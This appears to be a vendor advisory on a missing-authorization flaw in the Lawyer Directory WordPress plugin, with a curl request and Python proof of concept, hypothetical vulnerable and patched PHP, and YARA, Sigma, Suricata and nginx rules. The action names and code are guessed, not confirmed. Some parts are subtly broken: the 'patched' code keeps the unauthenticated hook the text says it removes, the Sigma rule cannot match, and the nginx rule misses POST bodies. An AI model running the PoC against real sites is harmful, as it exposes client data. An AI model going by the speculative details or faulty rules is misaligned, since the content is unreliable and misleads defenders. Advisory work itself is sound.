CVE-2025-67967

Executive Summary

CVE-2025-67967 is a Missing Authorization vulnerability (CWE-862) in the Lawyer Directory WordPress plugin developed by e-plugins. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access, modification, or deletion of sensitive directory information. The vulnerability affects all versions of the plugin up to and including 1.3.3. As of this report, no official patch has been released, and the vendor's patch status remains unknown. The EPSS score is 0.0%, indicating low current exploitation activity, but the risk is elevated due to the lack of a patch and the plugin's widespread use in legal directories.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to audit their plugin inventory and apply virtual patching or disable the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. The vulnerability is easily exploitable remotely without authentication, and while the integrity and availability impacts are low, the confidentiality impact is high, potentially exposing sensitive client data managed by the directory.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin's AJAX handlers or REST API endpoints. The plugin likely exposes functions that allow reading, creating, or modifying lawyer directory entries without verifying the user's capabilities. An attacker can craft HTTP requests to these endpoints to:

• List all directory entries (including private or draft entries).
• Modify or delete entries if write endpoints are also unprotected.
• Access metadata such as contact details, case notes, or billing information.

The flaw is rooted in the plugin's failure to call current_user_can() or similar WordPress capability checks before executing privileged operations. This is a classic case of Incorrectly Configured Access Control Security Levels as described in the CVE.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common WordPress plugin mistakes.

Vulnerable Code (hypothetical ajax-handler.php):

add_action('wp_ajax_nopriv_get_lawyer_details', 'get_lawyer_details');
function get_lawyer_details() {
    $lawyer_id = $_POST['lawyer_id'];
    $lawyer = get_post($lawyer_id);
    echo json_encode($lawyer);
    wp_die();
}

This handler is accessible to unauthenticated users (nopriv) and does not check capabilities.

Patched Code (hypothetical):

add_action('wp_ajax_get_lawyer_details', 'get_lawyer_details');
add_action('wp_ajax_nopriv_get_lawyer_details', 'get_lawyer_details');
function get_lawyer_details() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $lawyer_id = intval($_POST['lawyer_id']);
    $lawyer = get_post($lawyer_id);
    echo json_encode($lawyer);
    wp_die();
}

The patch adds a capability check and removes the nopriv action for privileged operations, or adds proper nonce verification.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Lawyer Directory plugin version <= 1.3.3.
• Knowledge of the plugin's AJAX action names (e.g., get_lawyer_details, update_lawyer_entry).

Exploitation Steps:

1. Enumerate AJAX endpoints using a tool like Burp Suite or by reading the plugin's JavaScript files.
2. Send a crafted POST request to /wp-admin/admin-ajax.php with the action parameter.
3. Example request to list all lawyers:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=get_lawyer_details&lawyer_id=1"

4. If the endpoint returns data without authentication, the vulnerability is confirmed.

Proof-of-Concept (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
payload = {"action": "get_lawyer_details", "lawyer_id": "1"}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with unknown or suspicious action parameters.
• Look for repeated requests from a single IP to enumerate directory entries.
• Check logs for 200 responses to AJAX actions that should require authentication.

Hardening:

• Disable the plugin immediately if not essential.
• Implement a Web Application Firewall (WAF) rule to block requests to known vulnerable endpoints.
• Apply a virtual patch by adding a custom plugin that checks capabilities before AJAX handlers execute.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action parameters like get_lawyer_details, list_lawyers, delete_lawyer.
  • Unusual data exfiltration patterns from the /wp-json/lawyer-directory/v1/ REST API endpoints (if exposed).
• File IOCs:
  • Modified or new entries in the wp_posts table with post_type lawyer.
  • Unexpected files in /wp-content/uploads/lawyer-directory/.
• Log IOCs:
  • Repeated 200 responses to AJAX actions from unauthenticated users.
  • Access logs showing /wp-admin/admin-ajax.php with nopriv actions.

Detection Engineering

YARA Rule

rule Detect_Lawyer_Directory_Exploit {
    meta:
        description = "Detects exploitation attempts against CVE-2025-67967"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67967"
    strings:
        $ajax_action = "action=get_lawyer_details" nocase
        $ajax_action2 = "action=list_lawyers" nocase
        $ajax_action3 = "action=delete_lawyer" nocase
        $wp_ajax = "admin-ajax.php" nocase
    condition:
        any of ($ajax_action*) and $wp_ajax
}

Sigma Rule

title: CVE-2025-67967 Lawyer Directory Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting vulnerable Lawyer Directory AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=get_lawyer_details'
            - 'action=list_lawyers'
            - 'action=delete_lawyer'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67967 Lawyer Directory Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_lawyer_details"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block requests to /wp-admin/admin-ajax.php with suspicious action parameters.
3. Audit user accounts for any unauthorized changes to directory entries.

Long-term Fix:

• Monitor the vendor's website for a patched version (expected > 1.3.3).
• Consider migrating to an alternative lawyer directory plugin with active security support.
• Apply the principle of least privilege to all WordPress AJAX handlers.

Virtual Patching (if WAF available):

location = /wp-admin/admin-ajax.php {
    if ($arg_action ~* "(get_lawyer_details|list_lawyers|delete_lawyer)") {
        return 403;
    }
}

Valters IT
Securing Digital Frontiers